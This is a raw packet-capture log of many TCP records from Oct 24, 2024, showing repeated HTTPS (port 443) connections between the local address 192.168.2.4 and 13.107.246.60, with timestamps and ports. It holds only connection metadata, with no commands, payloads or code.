Oct 24, 2024 16:05:35.178654909 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.178828955 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.178988934 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.179024935 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.521869898 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.522402048 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.522418022 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.523221970 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.523227930 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.657166958 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.657269001 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.657360077 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.657912970 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.657942057 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.657955885 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.657975912 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.664191008 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.664221048 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.664278984 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.664582014 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.664597988 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.680937052 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.681550980 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.681591034 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.682733059 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.682739973 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.820513010 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.820664883 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.820745945 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.820792913 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.820808887 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.820832014 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.820838928 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.823465109 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.823554039 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.823640108 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.823802948 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.823837996 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.892728090 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.893484116 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.893505096 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.894165993 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.894176006 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.929687023 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.930193901 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.930210114 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.930823088 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.930831909 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.950398922 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.950742960 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.950793028 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.951270103 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.951283932 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.024411917 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.024522066 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.024593115 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.024699926 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.024728060 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.024745941 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.024755001 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.027324915 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.027364016 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.027426958 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.027614117 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.027621984 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.059961081 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.060113907 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.060173035 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.060229063 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.060241938 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.060255051 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.060262918 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.062705994 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.062793970 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.062880993 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.063016891 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.063050032 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.090800047 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.090958118 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.091008902 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.091062069 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.091062069 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.091092110 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.091115952 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.093384981 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.093417883 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.093476057 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.093621969 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.093636990 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.413521051 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.414340973 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.414383888 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.415239096 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.415247917 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.549818039 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.549999952 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.550219059 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.550579071 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.550595999 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.556830883 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.556922913 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.557003021 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.557140112 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.557161093 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.659013987 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.661751032 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.661813974 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:36.662625074 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:36.662642002 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.034806967 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.034975052 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.035063982 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.035279036 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.035337925 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.035375118 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.035393000 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.039977074 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.040021896 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.040069103 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.040160894 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.040802956 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.040844917 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.041620016 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.041627884 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.041821003 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.041850090 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.046770096 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.047041893 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.048052073 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.048070908 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.048660994 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.048667908 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.048850060 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.048928022 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.049242973 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.049257040 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.172760963 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.172841072 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.172921896 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.173135996 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.173151016 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.173226118 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.173233032 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.177428007 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.177459002 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.177526951 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.177858114 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.177870989 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.178694010 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.178836107 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.178960085 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.179191113 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.179231882 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.179270983 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.179286957 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.181353092 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.181422949 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.181539059 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.181607008 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.182277918 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.182282925 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.182297945 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.182301998 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.185094118 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.185152054 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.185233116 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.185499907 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.185529947 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.187845945 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.187855005 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.188108921 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.188219070 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.188230991 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.291830063 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.292383909 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.292454004 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.292697906 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.292711973 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.423336983 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.423407078 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.423449039 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.423603058 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.423628092 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.423644066 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.423651934 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.426331043 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.426367998 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.426430941 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.426568031 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.426584959 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.932113886 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.932564974 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.932579041 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.932961941 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.932966948 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.953949928 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.954355001 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.954412937 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:37.954726934 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:37.954742908 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.066490889 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.066663027 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.066723108 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.066817999 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.066829920 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.066852093 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.066855907 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.069698095 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.069731951 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.069799900 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.070019007 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.070039034 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.088267088 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.088439941 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.088506937 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.088577032 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.088577032 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.088613033 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.088638067 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.090953112 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.091031075 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.091099977 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.091224909 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.091253042 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.184456110 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.184957027 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.184988976 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.185425043 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.185436010 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.337131977 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.337167978 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.337212086 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.337213993 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.337254047 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.337461948 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.337492943 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.337519884 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.337533951 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.340104103 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.340132952 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.340188026 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.340327024 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.340346098 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.387494087 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.387959957 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.387975931 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.388458967 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.388464928 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.521976948 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.522016048 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.522084951 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.522273064 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.522273064 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.522281885 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.522289991 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.524780989 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.524873972 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.525101900 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.525242090 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.525275946 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.817856073 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.818263054 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.818283081 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.818667889 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.818675995 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.828619003 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.828934908 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.828994989 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.829360008 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.829375029 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.913317919 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.913669109 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.913747072 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.914012909 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.914026976 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.950453997 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.950617075 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.950726032 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.950773001 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.950788975 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.950802088 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.950809956 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.953408957 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.953495979 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.953639030 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.953753948 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.953767061 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.967909098 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.967979908 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.968041897 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.968074083 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.968106985 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.968178034 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.968223095 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.968254089 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.968280077 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.968296051 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.971170902 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.971220016 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:38.971282959 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.971405029 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:38.971417904 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.067563057 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.068015099 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.068046093 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.068428040 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.068438053 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.087551117 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.087707996 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.087805033 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.087888956 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.087888956 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.087935925 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.087970018 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.090363026 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.090404034 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.090471983 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.090627909 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.090639114 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.216253042 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.216448069 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.216514111 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.216564894 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.216564894 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.216586113 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.216598988 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.219367027 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.219402075 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.219481945 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.219651937 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:39.219665051 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.276731968 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:39.277369022 CEST	49880	443	192.168.2.4	13.107.246.60
